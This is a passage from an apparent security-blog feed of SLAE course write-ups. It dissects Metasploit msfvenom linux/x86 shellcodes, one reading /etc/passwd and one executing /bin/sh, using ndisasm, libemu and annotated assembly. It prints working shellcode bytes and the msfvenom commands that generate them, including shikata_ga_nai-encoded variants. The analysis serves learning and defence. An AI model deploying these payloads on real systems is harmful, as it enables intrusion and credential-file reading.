    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; void _exit(int status);&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; 0 everything is OK&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; exit syscall&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; pushing the @ of the following bytes (/etc/passwd) on the stack&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;das&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;gs&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;jz&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xa4&lt;/span&gt;      
    &lt;span class=&quot;nf&quot;&gt;das&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jo&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xa5&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jnc&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xb9&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;ja&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xac&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;db&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; null byte ending string&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The jmp/call/pop technique will set the address of the following string in EBX:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# echo -e \\x2F\\x65\\x74\\x63\\x2F\\x70\\x61\\x73\\x73\\x77\\x64&lt;/span&gt;
/etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once again you can generate a shellcode (quite more complex) without null bytes with the following command:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/read_file PATH=/etc/passwd -f raw -b \x00 | ndisasm -u -&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 100 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;iteration&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
x86/shikata_ga_nai chosen with final size 100
Payload size: 100 bytes

00000000  BAF7BD341A        mov edx,0x1a34bdf7
00000005  DBDF              fcmovnu st7
00000007  D97424F4          fnstenv &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;esp-0xc]
0000000B  5E                pop esi
0000000C  29C9              sub ecx,ecx
0000000E  B113              mov cl,0x13
00000010  83EEFC            sub esi,byte &lt;span class=&quot;nt&quot;&gt;-0x4&lt;/span&gt;
00000013  31560F            xor &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;esi+0xf],edx
00000016  0356F8            add edx,[esi-0x8]
00000019  5F                pop edi
0000001A  C1                db 0xc1
0000001B  F1                int1
0000001C  3018              xor &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax],bl
0000001E  2F                das
0000001F  06                push es
00000020  3C58              cmp al,0x58
00000022  6B37F5            imul esi,[edi],byte &lt;span class=&quot;nt&quot;&gt;-0xb&lt;/span&gt;
00000025  95                xchg eax,ebp
00000026  0BBEC69E0FC1      or edi,[esi-0x3ef0613a]
0000002C  C8DE8626          enter 0x86de,0x26
00000030  41                inc ecx
00000031  27                daa
00000032  22A841D85364      and ch,[eax+0x6453d841]
00000038  E151              loope 0x8b
0000003A  91                xchg eax,ecx
0000003B  CE                into
0000003C  E561              &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;eax,0x61
0000003E  16                push ss
0000003F  2F                das
00000040  5E                pop esi
00000041  60                pushad
00000042  16                push ss
00000043  2F                das
00000044  A0AE9697A1        mov al,[0xa19796ae]
00000049  3097E71A3097      xor &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;edi-0x68cfe519],dl
0000004F  E75C              out 0x5c,eax
00000051  FC                cld
00000052  17                pop ss
00000053  0F9901            setns &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ecx]
00000056  E82F0E9B63        call dword 0x639b0e8a
0000005B  B37F              mov bl,0x7f
0000005D  13ED              adc ebp,ebp
0000005F  40                inc eax
00000060  0CA4              or al,0xa4
00000062  89                db 0x89
00000063  A6                cmpsb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see, through the analysis of all of these shellcodes, the power of msfvenom while dynamically generating shellcodes.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed this post, see you soon for the second msf shellcode analysis.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Phackt&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>SLAE Assignment 5.1 - Msfvenom linux/x86/exec shellcode analysis</title>
   <link href="https://phackt.org/slae-msf-exec-analysis"/>
   <updated>2017-04-24T00:00:00+00:00</updated>
   <id>https://phackt.org/slae-msf-exec-analysis</id>
   <content type="html">&lt;p&gt;&lt;br /&gt;
Student &lt;strong&gt;SLAE - 891&lt;/strong&gt;&lt;br /&gt;
Github: &lt;a href=&quot;https://github.com/phackt/slae&quot;&gt;https://github.com/phackt/slae&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&quot;&gt;http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;assignment-51&quot;&gt;Assignment 5.1:&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Our Goal:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Take up at least 3 linux/x86 shellcodes using Msfpayload (now Msfvenom)&lt;/em&gt;&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;em&gt;Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;em&gt;Present your analysis&lt;/em&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

&lt;p&gt;Here we are for the analysis of three Msfvenom shellcodes for the platform linux/x86. Let’s start with the &lt;strong&gt;linux/x86/exec&lt;/strong&gt; shellcode with the command &lt;strong&gt;/bin/sh&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/exec CMD=/bin/sh -f c&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 205 bytes
unsigned char buf[] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6a&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0b&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;58&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;99&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;66&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;63&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e7&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e8&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;08&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&quot;&lt;/span&gt;
&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;62&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;69&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;6e&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;2f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;73&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;53&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;89&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;e1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s disassemble the shellcode:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | ndisasm -u -&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes

00000000  6A0B        push byte +0xb
00000002  58          pop eax
00000003  99          cdq
00000004  52          push edx
00000005  66682D63    push word 0x632d
00000009  89E7        mov edi,esp
0000000B  682F736800  push dword 0x68732f
00000010  682F62696E  push dword 0x6e69622f
00000015  89E3        mov ebx,esp
00000017  52          push edx
00000018  E808000000  call dword 0x25
0000001D  2F          das
0000001E  62696E      bound ebp,[ecx+0x6e]
00000021  2F          das
00000022  7368        jnc 0x8c
00000024  005753      add &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;edi+0x53],dl
00000027  89E1        mov ecx,esp
00000029  CD80        int 0x80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s have a look with libemu:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | sctest -vvv -S -s 10000 -G exec_sh.dot &amp;amp;&amp;amp; dot exec_sh.dot -Tpng -o exec_sh.png&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/slae/assignment5/exec_sh.png&quot; alt=&quot;exec_sh&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Clearly we can see that we will make an execve syscall: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#define __NR_execve 11&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;envp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So let’s comment our shellcode instructions:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xb&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;; syscall execve 12&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;pop&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;                 &lt;span class=&quot;c1&quot;&gt;; syscall number in eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;cdq&lt;/span&gt;                     &lt;span class=&quot;c1&quot;&gt;; clears out edx thanks to eax sign extension&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; push 0 or null byte to end the following string&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;word&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x632d&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;; &quot;-c&quot;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; edi stores the @ of &quot;-c&quot;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68732f&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;; &quot;/sh&quot;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e69622f&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; &quot;/bin&quot;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; ebx is the first arg of execve &quot;/bin/sh&quot;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; null byte&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x25&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; push the address of the following string on the stack (and jmp to push edi)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;das&lt;/span&gt;                     &lt;span class=&quot;c1&quot;&gt;; the following instructions are meaningless because the bytes are corresponding&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;bound&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; to the string &quot;/bin/sh -c /bin/sh&quot; for argv[]&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;das&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;jnc&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x8c&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dl&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; setting @ for argv&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; syscall&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to explain the meaningless intructions after the call instruction:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# echo -ne \\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68&lt;/span&gt;
/bin/sh
&lt;span class=&quot;c&quot;&gt;# echo -ne \\x57\\x53 | ndisasm -u -&lt;/span&gt;
00000000  57                push edi
00000001  53                push ebx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;EDI points to the string &lt;em&gt;“-c”&lt;/em&gt;, EBX points to the string &lt;em&gt;“/bin/sh”&lt;/em&gt;. So finally argv[] will have the following arguments:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;argv[0]: address of “/bin/sh”&lt;/li&gt;
  &lt;li&gt;argv[1]: address of “-c”&lt;/li&gt;
  &lt;li&gt;argv[2]: address of “/bin/sh”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It can be confirm thanks to libemu:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw | sctest -vvv -S -s 10000&lt;/span&gt;
...
int execve &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
     const char &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; dateiname &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fc0 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     const char &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; argv[] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fb0 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fc0 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
                   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fb4 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fc8 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
                   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00416fb8 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
               &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x0041701d &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
                   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00000000 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
             none&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     const char &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; envp[] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0x00000000 &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 
         none&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  0&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However we can can see some null bytes in our shellcode. Let’s have a look to a shellcode without null bytes:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# msfvenom -p linux/x86/exec CMD=/bin/sh -f raw -b \x00 | ndisasm -u -&lt;/span&gt;
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;iteration&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes

00000000  DDC5              ffree st5
00000002  D97424F4          fnstenv &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;esp-0xc]
00000006  58                pop eax
00000007  BE2E1FB4CF        mov esi,0xcfb41f2e
0000000C  33C9              xor ecx,ecx
0000000E  B10B              mov cl,0xb
00000010  31701A            xor &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax+0x1a],esi
00000013  03701A            add esi,[eax+0x1a]
00000016  83C004            add eax,byte +0x4
00000019  E2DB              loop 0xfffffff6
0000001B  75BF              jnz 0xffffffdc
0000001D  97                xchg eax,edi
0000001E  BAD8D94F91        mov edx,0x914fd9d8
00000023  BFAC778110        mov edi,0x108177ac
